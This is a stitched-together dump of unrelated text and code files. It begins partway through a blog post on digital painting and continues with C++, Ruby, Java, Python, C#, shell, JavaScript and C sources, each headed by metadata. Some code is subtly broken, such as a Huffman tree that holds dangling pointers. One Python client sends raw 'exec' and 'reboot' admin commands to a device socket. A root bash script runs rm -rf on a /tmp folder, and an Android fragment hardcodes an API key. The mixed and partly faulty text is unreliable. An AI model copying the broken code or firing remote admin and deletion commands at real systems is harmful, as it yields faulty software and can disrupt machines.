wanting different media for different objects. Solid, semitransparent brushes were really helpful for reflections. I started out this painting with oil paint, but found it very helpful to draw these gauzy curtains with light pencil strokes: <center> <figure> <img src="../../../images/ipad_paintings/curtains.jpg" alt="Curtains painting"> </figure> </center> For this drawing looking out an airplane window, I really wanted solid brushes for the lights, but oil paints for the foggy background: <center> <figure> <img src="../../../images/ipad_paintings/fra.jpg" alt="Frankfurt painting"> </figure> </center> <BR> **5. New media.** I enjoy painting with solid color brushes that can't exist in the physical world; they can have very distinctive looks: <center> <figure> <img src="../../../images/ipad_paintings/pilea_flat.jpg" alt="Pilea painting"> </figure> </center> <center> <figure> <img src="../../../images/ipad_paintings/inflight.jpg" alt="Inflight painting"> </figure> </center> <center> <figure> <img src="../../../images/ipad_paintings/hibiki.jpg" alt="Hibiki painting"> </figure> </center> New brushes create new styles that don't really exist with physical media. What's lost: arbitrary constraints --- A significant advantage of real media is that there is no "undo." Being forced to work through your mistakes helps you get better [at working spontaneously](/2020/10/26/time-and-speed.html), at making bold, confident strokes, and simply at getting things right the first time. Many kinds of artists have preferred traditional media for similar reasons. For example, while I was [painting in that Oxford bookstore](https://www.instagram.com/p/B5MZ1p-pcKb/), my friend Amanda found an essay in the bookstore in which [the poet Wendell Berry rejected writing with a computer](http://classes.matthewjbrown.net/teaching-files/philtech/berry-computer.pdf), because of the advantages of writing with a pencil. For many years, [Steven Spielberg refused to switch to digital from physical film editing](https://cinemontage.org/michael-kahn-steven-spielberg-digital/) in part because the activity of physically cutting and splicing film requires that every edit be carefully considered. This is a common story, of how each generation rejects whatever new innovations come after they learned how to work. Other kinds of arbitrary constraints can be useful to force you to work in different way, to develop new skills, and explore new ideas. [Drawing under time constraints is really valuable](/2020/10/26/time-and-speed.html), but sometimes its worth placing arbitrary constraints for just for their own sake: draw only in monochrome, or draw with just a single line, or with only a single layer, or a single brush size, and so on. Sometimes I even wonder if there should be software support for arbitrary constraints, e.g., settings that lets you disable layering or undo or color, or that randomly assigns you constraints as an exercise. What's lost: physicality --- Perhaps what I miss the most about real paint is the physicality: the manipulation of physical materials, and working even more directly with your hands. The direct, unmediated mapping between your movements and how the bristles and paints interact with the canvas. No simulation, just reality. And, at the end, having a physical artifact instead of a digital file. During the pandemic, I pulled out my old watercolors and did a bit of painting with them. I really enjoyed using them. It was like visiting an old friend. Then I put them away and went back to using my iPad. **_[The next post in this series is here](/2020/11/02/abstract-painting.html)_** *The paintings on this page were made between November 2019 and October 2020.*
C++
UTF-8
7,478
2.53125
3
[]
no_license
//#include <pybind11/pybind11.h> //namespace py = pybind11; #include <vector> #include <string> #include <iostream> struct arc{ char bin; struct node * father; struct node * child; }; struct node{ char leaf; signed long long freq; //struct node * right; //struct node * left; struct arc right; struct arc left; //struct arc * root; size_t pass=0; }; ///////merge sort (decrease)/////// struct proba{ std::vector<char> ch; std::vector<signed long long> nb; }; struct proba merge(struct proba L1, struct proba L2){ size_t n1=L1.ch.size(); size_t n2=L2.ch.size(); size_t k1=0; size_t k2=0; struct proba M; while(k1!=n1 || k2!=n2){ if(k1!=n1 && k2!=n2){ if(L1.nb[k1]<=L2.nb[k2]){ M.nb.push_back(L2.nb[k2]); M.ch.push_back(L2.ch[k2]); k2++; } else{ M.nb.push_back(L1.nb[k1]); M.ch.push_back(L1.ch[k1]); k1++; } } else{ if(k1!=n1){ M.nb.push_back(L1.nb[k1]); M.ch.push_back(L1.ch[k1]); k1++; } else{ M.nb.push_back(L2.nb[k2]); M.ch.push_back(L2.ch[k2]); k2++; } } } return M; } struct proba sort(struct proba L){ struct proba sol; if(L.ch.size()<2){ sol=L; } else{ size_t s=L.ch.size(); size_t n=L.ch.size()/2; std::vector<char> ch1(&(L.ch[0]),&(L.ch[n])); std::vector<signed long long> nb1(&(L.nb[0]),&(L.nb[n])); std::vector<char> ch2(&(L.ch[n]),&(L.ch[s])); std::vector<signed long long> nb2(&(L.nb[n]),&(L.nb[s])); struct proba L1; struct proba L2; /*L1.ch(&(L.ch[0]),&(L.ch[n])); L1.nb(&(L.nb[0]),&(L.nb[n])); L2.ch(&(L.ch[n]),&(L.ch[s])); L2.nb(&(L.nb[n]),&(L.nb[s]));*/ L1.ch=ch1; L1.nb=nb1; L2.ch=ch2; L2.nb=nb2; struct proba sol1=sort(L1); struct proba sol2=sort(L2); sol=merge(sol1,sol2); } return sol; } //////////////////////// struct proba probability(std::string text){ std::vector<char> uniq; std::vector<signed long long> nb_iter; char actu; size_t k=0; while(text.size()!=0){ k=0; actu = text[0]; uniq.push_back(actu); nb_iter.push_back(0); while(k!=text.size()){ if (text[k]==actu){ nb_iter.back()++; text.erase(text.begin()+k); k--; } k++; } } struct proba sortl; sortl.ch=uniq; sortl.nb=nb_iter; //std::vector<char> res = (sort(sortl)).ch; struct proba res = sort(sortl); return res; } struct codage{ char leaf; std::string bin; }; struct graph_search{ struct node node; size_t pass; }; class HuffmanTree { private: std::vector<struct node> tree; //std::vector<struct arc> arcs; struct node * root=nullptr; //std::vector<struct node> leafs; size_t nb_leaf; public: HuffmanTree(std::string text){ struct proba p=probability(text); size_t n=p.ch.size(); nb_leaf=n; signed long long ts=0; std::vector<struct node *> roots; for (size_t i=0 ;i<n;i++){ struct node nd; nd.freq=p.nb[i]; nd.leaf=p.ch[i]; ts+=p.nb[i]; tree.push_back(nd); roots.push_back(&tree.back()); } for(size_t i=0;i<roots.size();i++){ std::cout<<roots[i]->freq<<" "; } std::cout<<std::endl; //struct node * min1; size_t m1; //struct node * min2; size_t m2; size_t rs=roots.size(); //size_t testt=0; //test while(rs!=1){ for(size_t i=0;i<roots.size();i++){ std::cout<<roots[i]->freq<<" "; } std::cout<<std::endl; rs=roots.size(); //rs-=testt; //test if((roots[0]->freq)<(roots[1]->freq)){ m1=0; m2=1; } else{ m1=1; m2=0; } //min1=roots[0]; //min2=roots[1]; for(size_t i=2;i<rs;i++){ if ((roots[i]->freq)<(roots[m2]->freq)){ if((roots[i]->freq)<(roots[m1]->freq)){ m2=m1; m1=i; } else{ m2=i; } } } //std::cout<<"ici avant"<<roots.size(); struct node newr; newr.leaf=NULL; newr.freq=(roots[m1]->freq)+(roots[m2]->freq); newr.right.bin='1'; newr.right.child=&(*roots[m1]); newr.left.bin='0'; newr.left.child=&(*roots[m2]); tree.push_back(newr); std::cout<<"binnn "<<(tree.back().left.child)->leaf<<std::endl; //std::cout<<"bin "<<((*(roots[m1])).root)->bin<<std::endl; //std::cout<<roots[roots.begin()+m1]->freq<<std::endl; //roots[m1]=nullptr; //roots[m2]=nullptr; if(m1>m2){ roots.erase(roots.begin()+m1); roots.erase(roots.begin()+m2); } else{ roots.erase(roots.begin()+m2); roots.erase(roots.begin()+m1); } //std::cout<<"ici apres "<<roots.size(); roots.push_back(&tree.back()); rs=roots.size(); //testt+=2; //test } //root=(struct node *) malloc(sizeof(struct node)); root=roots[0]; std::cout<<"bin "<<tree[5].left.bin<<std::endl; std::cout<<std::endl; std::cout<<"root "<<root->freq; } void display(){ /*for (size_t i=0;tree.size();i++){ std::cout<<"leaf : "<<tree[i].leaf<<" freq : "<<tree[i].freq <<" root arc["<<tree[i].root.bin<<" "<<tree[i].root.father->freq<<"] " <<" left arc["<<tree[i].left.bin<<" "<<tree[i].left.child->freq<<"] " <<" right arc["<<tree[i].right.bin<<" "<<tree[i].right.child->freq<<"] "<<std::endl; }*/ size_t i=0; struct node * ptr; //(ptr->left.child)->leaf ptr=&(tree[5]); char a=(ptr->left.child)->leaf; for(size_t i=4;i<tree.size();i++){ std::cout<<"| "<<(tree[i].left.child)->leaf<<" |"; } //ptr=tree /*while(i<4){ std::cout<<tree[i].leaf<<" bin "<<(tree[i].root)->bin<<" father "<<tree[i].root.father->freq<<std::endl; i++; }*/ if(root->leaf==NULL){ std::cout<<"TRUE"; } } std::vector<struct codage>get_code(){ std::cout<<"ici "; std::vector<struct codage> code; struct node * ptr; size_t test=1; std::string binc; while(code.size()!=nb_leaf){ ptr=root; //size_t a=((ptr->left).child)->pass; signed long long a=tree[0].freq; test=1; binc=""; while(test){ if((ptr->left.child)->pass!=1){ if((ptr->left.child)->leaf!=NULL){ (ptr->left.child)->pass==1; struct codage cd; cd.bin=binc; cd.leaf=(ptr->left.child)->leaf; code.push_back(cd); test=0; } else{ binc.push_back(ptr->left.bin); ptr=ptr->left.child; } } else{ if((ptr->right.child)->pass!=1){ if((ptr->right.child)->leaf!=NULL){ (ptr->right.child)->pass==1; struct codage cd; cd.bin=binc; cd.leaf=(ptr->right.child)->leaf; code.push_back(cd); test=0; } else{ binc.push_back(ptr->right.bin); ptr=ptr->right.child; } } else{ ptr->pass=1; test=0; } } } } return code; } }; int main(){ /*std::string test="abcabbbbcaadeeeeeeeeee"; std::vector<char> p = probability(test); for(size_t i=0;i<p.size();i++){ std::cout<<p[i]<<" "; } std::cout<<std::endl; std::cout<<"merge sort"<<std::endl; struct proba testm; testm.ch.push_back('d'); testm.nb.push_back(4); testm.ch.push_back('a'); testm.nb.push_back(1); testm.ch.push_back('c'); testm.nb.push_back(3); testm.ch.push_back('b'); testm.nb.push_back(2); for(size_t i=0;i<4;i++){ std::cout<<testm.ch[i]<<std::endl; std::cout<<testm.nb[i]<<std::endl; } struct proba res=sort(testm); for(size_t i=0;i<4;i++){ std::cout<<res.ch[i]<<std::endl; std::cout<<res.nb[i]<<std::endl; }*/ //std::cout<<"ici"<<std::endl; HuffmanTree tr("abcdaabcaabbbaaaaabbbbccccccdddddd"); /*HuffmanTree * tr=(HuffmanTree *) malloc(sizeof(HuffmanTree)); *tr=HuffmanTree("abcdaabcaabbbaaaaa");*/ tr.display(); //std::vector<struct codage> cod=tr.get_code(); }
Ruby
UTF-8
172
3.03125
3
[]
no_license
class Gigasecond GIGASECOND = 10**9 def self.from date date_seconds = date.strftime('%s').to_i Date.strptime((date_seconds + GIGASECOND).to_s, "%s") end end
Java
UTF-8
1,871
3.359375
3
[]
no_license
import java.util.HashMap; import java.util.Map; public class putall { public static void main(String[] args) { System.out.println( "MAP PUTALL TEST" ); Map<String, String> PUTALLmap1 = new HashMap<String, String>(); PUTALLmap1.put("one", "一"); PUTALLmap1.put("two", "二"); PUTALLmap1.put("three", "三"); PUTALLmap1.put("four", "四"); Map<String, String> PUTALLmap2 = new HashMap<String, String>(); PUTALLmap2.put("one", "1"); PUTALLmap2.put("two", "2"); PUTALLmap2.put("three", "3"); PUTALLmap2.put("ten", "十"); PUTALLmap2.put("nine", "九"); PUTALLmap2.put("eight", "八"); PUTALLmap2.putAll(PUTALLmap1); // 合并后打印出所有内容 for (Map.Entry<String, String> entry : PUTALLmap2.entrySet()) { System.out.println(entry.getKey() + ":" + entry.getValue()); } System.out.println( "MAP FOREACH TEST" ); Map<String, String> FOREACHmap1 = new HashMap<String, String>(); FOREACHmap1.put("one", "一"); FOREACHmap1.put("two", "二"); FOREACHmap1.put("three", "三"); FOREACHmap1.put("four", "四"); Map<String, String> FOREACHmap2 = new HashMap<String, String>(); FOREACHmap2.put("one", "1"); FOREACHmap2.put("two", "2"); FOREACHmap2.put("three", "3"); FOREACHmap2.put("ten", "十"); FOREACHmap2.put("nine", "九"); FOREACHmap2.put("eight", "八"); // FOREACHmap2.forEach((k, v) -> FOREACHmap1.putIfAbsent(k, v)); FOREACHmap2.forEach(FOREACHmap1::putIfAbsent); // 合并后打印出所有内容 for (Map.Entry<String, String> entry : FOREACHmap1.entrySet()) { System.out.println(entry.getKey() + ":" + entry.getValue()); } } }
Python
UTF-8
2,088
2.84375
3
[]
no_license
import socket import struct # Ensure all bytes are sent over socket. def send_cmd(cmd, msg_len): totalsent = 0 while totalsent < msg_len: sent = sock.send(cmd[totalsent:]) if sent == 0: raise RuntimeError("socket connection broken") totalsent = totalsent + sent return totalsent # Receive with a pre-defined message length def receive(msg_len): chunks = [] bytes_recv = 0 while bytes_recv < msg_len: chunk = sock.recv(min(msg_len - bytes_recv, 2048)) if chunk == b'': raise RuntimeError("socket connection broken") chunks.append(chunk) bytes_recv = bytes_recv + len(chunk) return b''.join(chunks) # Execute a command (Little Endian Format) def exec_cmd(): cmd = b"ADMN" # Header cmd += b"\x06\x00\x00\x00" # MSG Length cmd += b"\xF1\x00\x00\x00" # MSG ID cmd += b"\x04\x04\x00\x00\x00\x00" # MSG msg_len = len(cmd) send_cmd(cmd, msg_len) recv_msg = receive(34) print(recv_msg) # Reboot machine (Little Endian Format) def reboot_cmd(): cmd = b"ADMN" # Header cmd += b"\x01\x00\x00\x00" # MSG Length cmd += b"\xF2\x00\x00\x00" # MSG ID cmd += b"\x10" # MSG # Send a fixed length message msg_len = len(cmd) send_cmd(cmd, msg_len) # Doesn't receive a message upon success. # Reflect (Little Endian Format) def reflect_cmd(): cmd = b"ADMN" # Header cmd += b"\x06\x00\x00\x00" # MSG Length (must 6 or greater, but every byte beyond 6 is ignored) cmd += b"\xF3\x00\x00\x00" # MSG ID (Can be anything) cmd += b"\x08\x08\x00\x00\x00\x00" # MSG (Little Endian) # Send a fixed length message msg_len = len(cmd) send_cmd(cmd, msg_len) # Receive a fixed length message back recv_msg = receive(18) print(recv_msg) sock = socket.socket() # binary-admin socket connection over TCP sock.connect(('169.254.15.2', 31338)) # Timeout of 'x' seconds for blocking socket operations # sock.settimeout(5) exec_cmd() #reboot_cmd() #reflect_cmd() # Don't forget to close the session sock.close()
Java
UTF-8
2,361
2.03125
2
[]
no_license
package examples.view.com.navgridrec.Fragments; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.support.v7.widget.DefaultItemAnimator; import android.support.v7.widget.GridLayoutManager; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Toast; import java.util.List; import examples.view.com.navgridrec.Api.Client; import examples.view.com.navgridrec.Api.Service; import examples.view.com.navgridrec.R; import examples.view.com.navgridrec.Adapters.TopRatedMovieAdapter; import examples.view.com.navgridrec.TopRatedMovies.Result; import examples.view.com.navgridrec.TopRatedMovies.TopMovie; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; /** * Created by user on 16-Dec-17. */ public class BlankFragment extends Fragment { RecyclerView recyclerView; public BlankFragment(){ } @Nullable @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View root = inflater.inflate(R.layout.fragment_blank,container,false); recyclerView =(RecyclerView)root.findViewById(R.id.recycler); recyclerView.setHasFixedSize(true); recyclerView.setLayoutManager(new GridLayoutManager(getActivity(),2)); recyclerView.setItemAnimator(new DefaultItemAnimator()); loadJsondata(); return root; } private void loadJsondata() { Service Service = Client.getRetrofit().create(Service.class); Call<TopMovie> call = Service.getmovies("81c4047a8486904dd6cf0787b4b47dc9"); call.enqueue(new Callback<TopMovie>() { @Override public void onResponse(Call<TopMovie> call, Response<TopMovie> response) { List<Result> movies = response.body().getResults(); recyclerView.setAdapter(new TopRatedMovieAdapter(getContext(), movies)); recyclerView.smoothScrollToPosition(0); } @Override public void onFailure(Call<TopMovie> call, Throwable t) { Toast.makeText(getActivity(), "Error Occured", Toast.LENGTH_LONG).show(); } }); } }
Markdown
UTF-8
956
4.0625
4
[]
no_license
<h1>Evil Numbers</h1> <b>Category:</b> Easy <br><br> > An evil number is a non-negative number that has an even number of 1s in its binary expansion. > Print all the evil numbers from 0 to 50 inclusive, each on their own line. > Numbers that are not evil are called odious numbers. <h2>Write-up</h2> <h3>Python, 58 bytes</h3> ```Python [print(i)for i in range(49)if str(bin(i)).count('1')%2==0] ``` <b>Ungolfed:</b> ```Python for i in range(49): if str(bin(i)).count('1') % 2 == 0: print(i) ``` This program only requires a single for loop to go through the numbers 0-48 (49 and 50 or not Evil Numbers). Let's take a closer look at `str(bin(i)).count('1')`. First, I convert i to a binary number. I want to use the .count() method to count the number of 1's, but .count() only works on strings. Thus, I add a str() method on bin(i) to convert it to a string. We then use `%2==0` check if the binary number has an even number of 1's.
Python
UTF-8
5,929
2.625
3
[]
no_license
import random import os import json import numpy as np import datetime import logging import socket from github import Github from store import Store from specs import GITHUB_TOKENS, SPIDER_TRAP, TOP_REPOS, logger, STATS_TIMEOUT, QUERY_INTERVAL, MAX_CYCLE, MAX_SEEN_QUEUE import time import collections # TODO: Test out new code # TODO: Implement stack, look for loops, logging etc class GitHubCrawler: def __init__(self, tokens): self.g_arr = [Github(token, per_page=100) for token in tokens] self.seen_users = Store("/users") # {ID: count} self.seen_repos = Store("/repos") # {ID: int} self.contributors_cache = Store("/cache") # ([userID], [score]) self.token_num = 0 self.last_users = collections.deque([-1 for _ in range(MAX_SEEN_QUEUE)], MAX_SEEN_QUEUE) self.last_repos = collections.deque([-1 for _ in range(MAX_SEEN_QUEUE)], MAX_SEEN_QUEUE) # Rotates keys @property def g(self): self.token_num = (self.token_num+1)%len(self.g_arr) g = self.g_arr[self.token_num] return g # Takes in Repository object and returns User object or None def get_random_contributor(self, repository): read = self.contributors_cache.read(repository.id) if read is None: contributors, scores = self.generate_commit_scores(repository) if contributors is None: logger.info("Stats for %s timed out", repository.full_name) return None self.contributors_cache.write(repository.id, json.dumps((contributors,scores)), ttl=len(scores)*50) if len(contributors) == 0: return None logger.info("Cached contributors and scores for %s", repository.full_name) else: contributors, scores = json.loads(read) random_contributor_login = np.random.choice(contributors, 1, p=scores)[0] return self.g.get_user(random_contributor_login) # Takes in a Repository object and returns a list of contributor ids and a list of their percentage contributed def generate_commit_scores(self, repo): contributors = list(repo.get_contributors()) contributor_logins = [] contributor_stats = repo.get_stats_contributors() scores = [] total = 0 if not contributor_stats and len(contributors) < 100: for u in contributors: x = len(list(repo.get_commits(author=u))) total += x contributor_logins.append(str(u.login)) scores.append(x) else: timeout = 0 while not contributor_stats and timeout <= STATS_TIMEOUT: time.sleep(QUERY_INTERVAL) timeout += QUERY_INTERVAL contributor_stats = repo.get_stats_contributors() if contributor_stats is None: return None, None for u in contributor_stats: total += u.total contributor_logins.append(str(u.author.login)) scores.append(u.total) if len(contributor_logins) == 0 or total == 0: return None, None scores = [float(score)/total for score in scores] return contributor_logins, scores # Takes in NamedUser object and returns Repository object or empty string def get_random_starred_repo(self, user): starred_repos = list(user.get_starred()) # Needed to fully paginate if not starred_repos: return None random_repo = random.choice(starred_repos) return random_repo # start can be a full name "user/repo" or an ID def crawl(self, iterations=-1): try: while iterations != 0: curr_repo = self.g.get_repo(random.choice(TOP_REPOS)) logger.info("Starting at repository: %s (%s)", curr_repo.full_name, curr_repo.id) while iterations != 0: if random.random() < SPIDER_TRAP: logger.info("Spider trap") break curr_user = self.get_random_contributor(curr_repo) if not curr_user: logger.info("Repository %s (%s) has no contributors", curr_repo.full_name, curr_repo.id) break if self.last_users.count(curr_user.id) >= MAX_CYCLE - 1: logger.info("Seen user %s (%s) too many times", curr_user.login, curr_user.id) break self.last_users.appendleft(curr_user.id) self.seen_users.increment(curr_user.id) logger.info("Crawled to user: %s (%s)", curr_user.login, curr_user.id) if random.random() < SPIDER_TRAP: logger.info("Spider trap") break curr_repo = self.get_random_starred_repo(curr_user) if not curr_repo: logger.info("User %s (%s) has no starred repositories", curr_user.login, curr_user.id) break if self.last_repos.count(curr_repo.id) >= MAX_CYCLE - 1: logger.info("Seen repo %s (%s) too many times", curr_repo.full_name, curr_repo.id) break self.last_repos.appendleft(curr_repo.id) self.seen_repos.increment(curr_repo.full_name) logger.info("Crawled to repository: %s (%s)", curr_repo.full_name, curr_repo.id) iterations -= 1 return iterations except socket.timeout: return iterations def main(): g = GitHubCrawler(GITHUB_TOKENS) iterations_left = -1 while iterations_left: iterations_left = g.crawl(iterations_left) if __name__ == '__main__': main()
C#
UTF-8
3,195
3.078125
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.IO; using System.Diagnostics; using System.Windows.Forms; using System.Threading; namespace CopyPictures { class Program { static void Main(string[] args) { Console.WriteLine("Running application"); List<string> paths = new List<string>(); string[] extensions; if (!File.Exists(Application.StartupPath + "\\config.data")) { using (StreamWriter sr = new StreamWriter(Application.StartupPath + "\\config.data")) { sr.WriteLine("*.png,*.jpg"); sr.WriteLine("C:\\users\\ryan.darras\\documents"); sr.WriteLine("C:\\users\\ryan.darras\\pictures"); } } using (StreamReader sr = new StreamReader(Application.StartupPath + "\\config.data")) { string ext = sr.ReadLine(); extensions = ext.Split(new char[] { ',', ' ' }); string line; while((line = sr.ReadLine()) != null) { paths.Add(line); } } foreach(string s in paths) { List<FileInfo> info = RecursivelySearchForImageType(s, extensions); } Console.WriteLine("Application finished"); Console.ReadKey(); } static List<FileInfo> RecursivelySearchForImageType(string path, string[] types) { List<FileInfo> media = new List<FileInfo>(); foreach (DirectoryInfo directory in new DirectoryInfo(path).GetDirectories()) { try { foreach (string s in types) { foreach (FileInfo file in new DirectoryInfo(directory.FullName).GetFiles(s)) { Console.WriteLine("Found file " + file.Name + " in " + file.DirectoryName); string parsedFileName = file.FullName.Split(new char[] { ':' })[1]; string parsedFilePath = parsedFileName.Split(new string[] { s }, StringSplitOptions.RemoveEmptyEntries)[0]; parsedFilePath = parsedFilePath.Remove(parsedFilePath.LastIndexOf("\\")); Directory.CreateDirectory(AppDomain.CurrentDomain.BaseDirectory + parsedFilePath); File.Copy(file.FullName, AppDomain.CurrentDomain.BaseDirectory + parsedFileName, true); media.Add(file); } } media.AddRange(RecursivelySearchForImageType(directory.FullName, types)); } catch (UnauthorizedAccessException e) { Console.WriteLine("No access available to " + directory.FullName); } } return media; } } }
Shell
UTF-8
472
2.90625
3
[]
no_license
#! /bin/bash ################################################ # Uppgift 2 laboration 6 # # Magnus Danielsson LX13 # # Ett skript för att tömma en mapp, och i det # # +fallet 'mappen' som ligger under tmp-mappen # ################################################ if [ $EUID -ne 0 ]; then echo "Du måste köra det här skriptet som root " exit 1 else rm -rf /tmp/mappen/* echo "filerna raderades utan problem" exit 0 fi
JavaScript
UTF-8
1,853
2.90625
3
[]
no_license
import TodoList from '../components/todo-list/todo-list.component' import TodoForm from '../components/todo-form/todo-form.component' import { Component } from 'react' class Tasklist extends Component { constructor() { super(); this.state = { todos: [], checkedTodos: [], } } onNewTodo = (newTodo) => { const id = this.state.todos.length + 1; //wrong: //only if state is not dependent on any previous state // this.setState( // { // todos: this.state.todos.concat([{ id: id, title: newTodo, createdDate: new Date() }]) // } // ) //setState() is async, it is batched //if state is dependent on previous state this.setState((prevState, prevProps) => { return { todos: prevState.todos.concat([{ id: id, title: newTodo, createdDate: new Date() }]) } }); } handleChange = (todo, checked) => { if (checked) { this.setState((prevState) => { return { checkedTodos: prevState.checkedTodos.concat([todo]) } }) //render() is triggered } else { this.setState((prevState) => { return { checkedTodos: prevState.checkedTodos.filter(existingTodo => existingTodo !== todo) } }) } } removeTodos = () => { this.setState((prevState) => { return { todos: prevState.todos.filter(item => this.state.checkedTodos.indexOf(item) === -1), checkedTodos: [] } }) } render() { return ( <div> <TodoForm onNewTodo={this.onNewTodo} /> <TodoList todos={this.state.todos} handleChange={this.handleChange} /> <button disabled={!this.state.checkedTodos.length} onClick={this.removeTodos}>Clear completed todos</button>({this.state.checkedTodos.length}) </div> ) } } export default Tasklist;
Python
UTF-8
4,532
2.734375
3
[]
no_license
import networkit, pandas, sys, logging, os, utility logging.basicConfig(stream=sys.stderr) logger = logging.getLogger("graphParser") logger.setLevel(utility.DEBUG) class file_Parser: BAG_folder = utility.BAGs_FOLDER # "BarabasiAlbertGraphs/" ERG_folder = utility.ERGs_FOLDER # "ErdosRenyiGraphs/" BAGs_file_path = [] BAGs_missing_edges_file_path = [] ERGs_file_path = [] ERGs_missing_edges_file_path = [] def __init__(self) -> None: self.findFilesByType(utility.GraphTypes.BAG) self.findFilesByType(utility.GraphTypes.ERG) self.BAGs_file_path.sort() self.BAGs_missing_edges_file_path.sort() self.ERGs_file_path.sort() self.ERGs_missing_edges_file_path.sort() self._ERG_iter = 0 self._BAG_iter = 0 def findFilesByType(self, graphType): if(isinstance(graphType, utility.GraphTypes) == False): return if(graphType == utility.GraphTypes.BAG): folder = self.BAG_folder file_name = graphType.Name() ref_graph_list = self.BAGs_file_path ref_miss_list = self.BAGs_missing_edges_file_path elif(graphType == utility.GraphTypes.ERG): folder = self.ERG_folder file_name = graphType.Name() ref_graph_list = self.ERGs_file_path ref_miss_list = self.ERGs_missing_edges_file_path else: return for root, dirs, files in os.walk(folder): for file in files: if(file.__contains__(f"missingEdgeFor{file_name}")): ref_miss_list.append(os.path.join(root, file)) elif(file.__contains__(".TabOne")): ref_graph_list.append(os.path.join(root, file)) # ritorna una tupla [indice, networkit.graph, missing_edge_list] finche' non terminano i file contenenti i grafi del tipo passato def getNextByType(self, graphType): if(isinstance(graphType, utility.GraphTypes) == False): return if(graphType == utility.GraphTypes.BAG and self._BAG_iter < len(self.BAGs_file_path)): index = self._BAG_iter if(os.path.isfile(self.BAGs_file_path[index])): graph = networkit.readGraph(self.BAGs_file_path[index], networkit.Format.EdgeListTabOne) else: return "not_exist" if(os.path.isfile(self.BAGs_missing_edges_file_path[index])): missing_edges = pandas.read_json(self.BAGs_missing_edges_file_path[index]) else: return "not_exist" self._BAG_iter += 1 return [index, graph, missing_edges] elif(graphType == utility.GraphTypes.ERG and self._ERG_iter < len(self.ERGs_file_path)): index = self._ERG_iter if(os.path.isfile(self.ERGs_file_path[index])): graph = networkit.readGraph(self.ERGs_file_path[index], networkit.Format.EdgeListTabOne) else: return "not_exist" if(os.path.isfile(self.ERGs_missing_edges_file_path[index])): missing_edges = pandas.read_json(self.ERGs_missing_edges_file_path[index]) else: return "not_exist" self._ERG_iter += 1 return [index, graph, missing_edges] else: return "no_more_graphs" def test_getNextBAG(): parser = file_Parser() while(True): response = parser.getNextByType(utility.GraphTypes.BAG) if(response == "no_more_graphs" or response == "not_exist"): if logger.isEnabledFor(logging.DEBUG): logger.debug(f"break: {response}") break else: _index = response[2].index if logger.isEnabledFor(logging.DEBUG): logger.debug(f"test_getNextBAG: {response[0]}") def test_getNextERG(): parser = file_Parser() while(True): response = parser.getNextByType(utility.GraphTypes.ERG) if(response == "no_more_graphs" or response == "not_exist"): if logger.isEnabledFor(logging.DEBUG): logger.debug(f"break: {response}") break else: _index = response[2].index if logger.isEnabledFor(logging.DEBUG): logger.debug(f"index: {response[0]}, len(){len(response[2].index)}") if __name__ == "__main__": # parser = file_Parser() # test_getNextBAG() # test_getNextERG() pass
C
UTF-8
5,487
3.234375
3
[]
no_license
#include <ncurses.h> #include <stdlib.h> #include <time.h> typedef struct Position/*substitui as antigas variaveis xPosition && yPosition*/ { int x; int y; }Position; typedef struct Room { Position position; int height; int width; Position ** doors; // Monster ** monsters // Item ** items }Room; typedef struct Player { Position position; int Health; //Room * room; }Player; int screenSetUp(); Room ** mapSetUp(); Player * playerSetUp(); int handleInput(int input, Player * user); int playerMove(int y, int x, Player * user); int checkPosition(int newY, int newX, Player * user); /*funções de room*/ Room * createRoom(int x, int y, int height, int width); int drawRoom(Room * room); int main()/* main*/ { Player * user; int ch; screenSetUp(); mapSetUp(); user = playerSetUp(); /*main game loop*/ while((ch = getch()) != 'q') { handleInput(ch, user); } endwin(); return 0; } int screenSetUp()/* liga a tela*/ { srand(time(NULL)); initscr(); printw("Hello World!"); noecho(); refresh(); return 1; } Room ** mapSetUp() /*imprime o campo*/ { Room ** rooms; rooms = malloc(sizeof(Room)*6); /* mvprintw(13,13,"--------"); mvprintw(14,13,"|......|"); mvprintw(15,13,"|......|"); mvprintw(16,13,"|......|"); mvprintw(17,13,"|......|"); mvprintw(18,13,"--------");*/ rooms[0] = createRoom(13, 13, 6, 8); drawRoom(rooms[0]); /* mvprintw(2,40,"--------"); mvprintw(3,40,"|......|"); mvprintw(4,40,"|......|"); mvprintw(5,40,"|......|"); mvprintw(6,40,"|......|"); mvprintw(7,40,"--------");*/ rooms[1] = createRoom(40, 2, 6, 8); drawRoom(rooms[1]); /* mvprintw(11,40,"|..........|"); mvprintw(12,40,"|..........|"); mvprintw(13,40,"|..........|"); mvprintw(14,40,"|..........|"); mvprintw(15,40,"------------");*/ rooms[2] = createRoom(40, 10, 6, 12); drawRoom(rooms[2]); return rooms; } Room * createRoom(int x, int y, int height, int width) { Room * newRoom; newRoom = malloc(sizeof(Room)); newRoom->position.x = x; newRoom->position.y = y; newRoom->width = width; newRoom->height = height; newRoom->doors = malloc(sizeof(Position) * 4); /*porta de cima*/ newRoom->doors[0] = malloc(sizeof(Position)); newRoom->doors[0]->x = rand() % (width - 2) + newRoom->position.x + 1 ; newRoom->doors[0]->y = newRoom->position.y; /*porta de baixo*/ newRoom->doors[1] = malloc(sizeof(Position)); newRoom->doors[1]->x = rand() % (width - 2) + newRoom->position.x + 1; newRoom->doors[1]->y = newRoom->position.y + height - 1; /*porta da esquerda*/ newRoom->doors[2] = malloc(sizeof(Position)); newRoom->doors[2]->y = rand() % (height -2) + newRoom->position.y + 1; newRoom->doors[2]->x = newRoom->position.x; /*porta da direita*/ newRoom->doors[3] = malloc(sizeof(Position)); newRoom->doors[3]->y = rand() % (height - 2) + newRoom->position.y + 1; newRoom->doors[3]->x = newRoom->position.x + width - 1; return newRoom; } int drawRoom(Room * room) { int x; int y; /*desenha topo e fundo*/ for(x = room->position.x; x < room->position.x + room->width; x++) { mvprintw(room->position.y, x , "-");/*topo*/ mvprintw(room->position.y + room->height - 1, x , "-");/*fundo*/ } /*desenha o chao e paredes*/ for(y = room->position.y + 1; y < room->position.y + room->height - 1; y++) { /*desenha paredes*/ mvprintw(y, room->position.x, "|"); mvprintw(y, room->position.x + room->width - 1, "|"); for(x = room->position.x + 1; x < room->position.x + room->width - 1; x++) { mvprintw(y, x, "."); } } /*desenha portas*/ mvprintw(room->doors[0]->y, room->doors[0]->x, "+"); 